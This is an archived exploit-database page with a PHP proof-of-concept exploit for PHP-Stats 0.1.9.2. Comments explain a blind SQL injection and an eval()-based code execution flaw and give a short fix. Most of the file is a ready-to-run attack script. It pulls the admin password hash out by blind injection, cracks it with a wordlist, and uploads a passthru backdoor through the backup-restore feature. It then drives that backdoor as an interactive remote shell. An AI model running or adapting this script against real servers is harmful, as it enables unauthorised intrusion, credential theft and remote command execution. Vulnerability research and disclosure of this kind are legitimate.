exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpstats-multi.txt

phpstats-multi.txt
Posted Oct 11, 2007
Authored by EgiX

PHP-Stats version 0.1.9.2 proof of concept exploit that demonstrates blind SQL injection and remote code execution vulnerabilities.

tags | exploit, remote, php, vulnerability, code execution, sql injection, proof of concept
SHA-256 | 411067c6e3ffe3d57a836f7f4d1f2a19542d244fe4aabc630d27e787bebbf4db

phpstats-multi.txt

Change Mirror Download
<?php

/*
Php-Stats 0.1.9.2 Multiple Vulnerabilities Exploit
Blind SQL Injection / Remote Code Execution P.o.C.

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: https://php-stats.com/downloads
details..: works with magic_quotes_runtime = off

[1] Blind SQL Injection in php-stats.recjs.php:

94. if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;
95. if(!ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',long2ip($ip))) break; [*]
97.
98. if(isset($_GET['visitor_id'])) $visitor_id=strtolower(urldecode($_GET['visitor_id'])); else break;
99. if((!eregi('^[0-9,a-z]{32}',$visitor_id)) && (strlen($visitor_id)<>32)) break;
100.
103. $title='?';
104. if($option['page_title'] && isset($_GET['t']))
105. {
106. $tmpTitle=htmlspecialchars(addslashes(urldecode($_GET['t']))); [**]
107. if($tmpTitle!='\\\\\\" t \\\\\\"') $title=$tmpTitle;
108. }
109.
174. if (($loaded=='?') && ($title!='?')) {
175. $result=sql_query("SELECT lastpage FROM $option[prefix]_cache WHERE user_id='$ip' AND visitor_id='$visitor_id' LIMIT 1");
176. if(mysql_affected_rows()>0) {
177. list($loaded)=mysql_fetch_row($result);
178. $appendDetails="AND currentPage='$loaded'";
179. }
180. }
181.
183. if(($modulo[3]) && ($title!=''))
184. sql_query("UPDATE $option[prefix]_pages SET titlePage='$title' WHERE data='$loaded' $append"); [***]

the long2ip() function [*] converts his numeric argument to an IPv4 dotted ip...if you try this: long2ip(-1)
the result is 255.255.255.255, but if the argument is -1' OR 1=1/* the result is the same, so you can handle
$_GET[ip] parameter to inject sql into the query at line 175, also, this argument is passed to urldecode(), so
you can bypass magic_quotes_gpc by escaping ' with %2527...to see the results of blind sql injection you can edit
the value of 'titlePage' record in the _pages table with $_GET[t] [**] by injecting other sql in the WHERE clause
at line 184 [***] so, by seeing results through /admin.php?action=pages you can retrive admin password hash...but
this is stored into db as sha1(sha1(pass)), while cookie's password for automatic login is stored as sha1(pass)...
so you can only try dictionary or bruteforce attack to retrive the plain text of the sha1 hash for the cookie!

[2] Remote Code Execution in admin.php (also click.php, download.php, and so many files...):

127. if($NowritableServer===1){
129. $result=sql_query("SELECT option_name,option_value FROM $option[prefix]_options");
130. while($row=mysql_fetch_row($result)) $option[$row[0]]=$row[1];
131. eval($option['php-stats-options']);
132. }

if $NowritableServe is set to 1, $option['php-stats-options'] is passed to eval()...you can change the server write
modality to set $NowritableServer and to create _options table (see lines 42-68), also, with admin rights, you can store
any value into 'php-stats-options' record through backup utility for ex. (/admin.php?action=backup&mode=restore)...
so you can inject malicious php code into 'php-stats-options' record of _options table and execute it through eval()

[-] Bug Fix in php-stats.recjs.php:

replace this line: 94. if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;
with this: 94. if(isset($_GET['ip'])) $ip=intval(urldecode($_GET['ip'])); else break;
*/

error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80); $c = 0;
while (!$sock)
{
if ($c++ == 10) die();
print "\n[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host,80);
sleep(1);
}
fputs($sock, $packet);
$resp = "";
while (!feof($sock)) $resp .= fread($sock, 1);
fclose($sock);
return $resp;
}

function check_query($key)
{
global $host, $path;

$pck = "GET {$path}admin.php?action=pages HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);

return (preg_match($key, $html) ? true : false);
}

function set_table()
{
global $host, $path, $prefix;

// insert a record into _pages table...
$pck = "GET {$path}php-stats.recphp.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
http_send($host, $pck);
// ...and try to inject sql
$sql = "-1' UNION SELECT CONCAT(CHAR(39),' OR 1=1',CHAR(47),CHAR(42)) FROM {$prefix}_config WHERE name='admin_pass'/*";
$sql = str_replace("%27", "%2527", urlencode($sql));
$get = "visitor_id=acbd18db4cc2f85cedef654fccc4a4d8";
$get .= "&t=_default_value_";
$get .= "&ip={$sql}";
$pck = "GET {$path}php-stats.recjs.php?{$get} HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);

if (!check_query("/_default_value_/")) die("\n[-] Exploit failed...probably magic_quotes_runtime = on\n");
}

function set_NowritableServer()
{
global $host, $path, $prefix, $pwd;

// we need to set $NowritableServer=1 in /option/php-stats_mode.php
$s1 = "/con scrittura di files sul Server/";
$s2 = "/the write files on server mode/";
$pck = "GET {$path}admin.php?action=preferenze HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cookie: pass_cookie={$pwd}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);
if (preg_match($s1, $html) || preg_match($s2, $html))
{
$data = "change_mode=1";
$pck = "POST {$path}admin.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Content-Type: application/x-www-form-urlencoded\r\n";
$pck .= "Content-Length: ".strlen($data)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$pck .= $data;
http_send($host, $pck);
}
}

print "\n+------------------------------------------------------------+";
print "\n| Php-Stats 0.1.9.2 Multiple Vulnerabilities Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path [options]\n";
print "\nhost.......: target server (ip/hostname)";
print "\npath.......: path to Php-Stats directory (example: / or /php-stats/)\n";
print "\n-h hash....: SHA1 hash stored into db (to find with sql injection)";
print "\n-p pass....: admin's password plain text (the cracked password)";
print "\n-t prefix..: table's prefix (default: php_stats)\n";
die();
}

$opt = array("-h","-p","-t");
$host = $argv[1];
$path = $argv[2];
$sha = "";
$pwd = "";
$prefix = "php_stats";

for ($i = 3; $i < $argc; $i++)
{
if ($argv[$i] == "-h") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $sha = $argv[++$i];
if ($argv[$i] == "-p") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $pwd = $argv[++$i];
if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];
}

if (strlen($sha) < 40 && strlen($pwd) == 0)
{
set_table();

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$pos = strlen($sha) + 1; $arLen = count($hash);
print "\n[-] SHA1 hash: {$sha}";

while (!strpos($sha, chr(0)))
{
for ($i = 0; $i <= $arLen; $i++)
{
if ($i == $arLen) die("\n[-] Exploit failed...\n");

$sql = "-1' UNION SELECT CONCAT(CHAR(39),' OR {$hash[$i]}=',ORD(SUBSTR(value,{$pos},1)),CHAR(47),CHAR(42)) FROM {$prefix}_config WHERE name='admin_pass'/*";
$sql = str_replace("%27", "%2527", urlencode($sql));
$get = "visitor_id=acbd18db4cc2f85cedef654fccc4a4d8";
$get.= "&t=_my_flag_{$pos}";
$get.= "&ip={$sql}";
$pck = "GET {$path}php-stats.recjs.php?{$get} HTTP/1.1\r\n";
$pck.= "Host: {$host}\r\n";
$pck.= "Keep-Alive: 300\r\n";
$pck.= "Connection: keep-alive\r\n\r\n";
http_send($host, $pck);

if (check_query("/_my_flag_{$pos}/")) { $sha .= chr($hash[$i]); print chr($hash[$i]); break; }
}

$pos++;
}
}

$sha = trim($sha);
if (strlen($sha) > 0 && !eregi("[0-9,a-f]{40}", $sha)) die("\n[-] Invalid SHA1 hash...\n");

if (strlen($pwd) == 0)
{
// simple dictionary attack
print "\n\n[-] Trying dictionary attack using wordlist.txt...\n";
if (!file_exists("wordlist.txt")) die("\n[-] wordlist.txt not found!\n");
$words = file("wordlist.txt");
$arLen = count($words);

for ($i = 0; $i <= $arLen; $i++)
{
if ($i == $arLen) die("\n\n[-] Dictionary attack failed...\n");
$word = trim($words[$i]);
$test_hash = sha1(sha1($word));
print "\n[-] Testing {$word}: {$test_hash}";
if ($test_hash == $sha) { $pwd = $word; break; }
}
}

print "\n\n[-] Admin's password: {$pwd}"; $pwd = sha1($pwd);
print "\n[-] Cookies password: {$pwd}\n\n[-] Starting the shell...\n";

set_NowritableServer();

// inject php shell into 'php-stats-options' record of _options table through the backup script...
$code = "error_reporting(0);echo 12345;passthru(base64_decode(\$_SERVER[HTTP_CMD]));echo 12345;die;";
$data = "--12345\r\n";
$data.= "Content-Disposition: form-data; name=\"backup_php_stats\"; filename=\"backup.sql\"\r\n";
$data.= "Content-Type: application/octet-stream\r\n\r\n";
$data.= "# Dump code: 4039ca1a891c85f867b40b0217042be8\n"; // md5("code:0.1.9.2");
$data.= "UPDATE {$prefix}_options SET option_value='{$code}' WHERE option_name='php-stats-options'\r\n";
$data.= "--12345--\r\n";

$pck = "POST {$path}admin.php?action=backup&mode=restore HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cookie: pass_cookie={$pwd}\r\n";
$pck .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$pck .= "Content-Length: ".strlen($data)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$pck .= $data;

http_send($host, $pck);

// ...and finally start the shell!
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nxpl0t-sh3ll # ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$pck = "GET {$path}admin.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cmd: ".base64_encode($cmd)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$resp = http_send($host, $pck);
if (!strpos($resp, "12345")) die("\n[-] Exploit failed...\n");
$shell = explode("12345", $resp);
print "\n".$shell[1];
}
else break;
}

?>

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close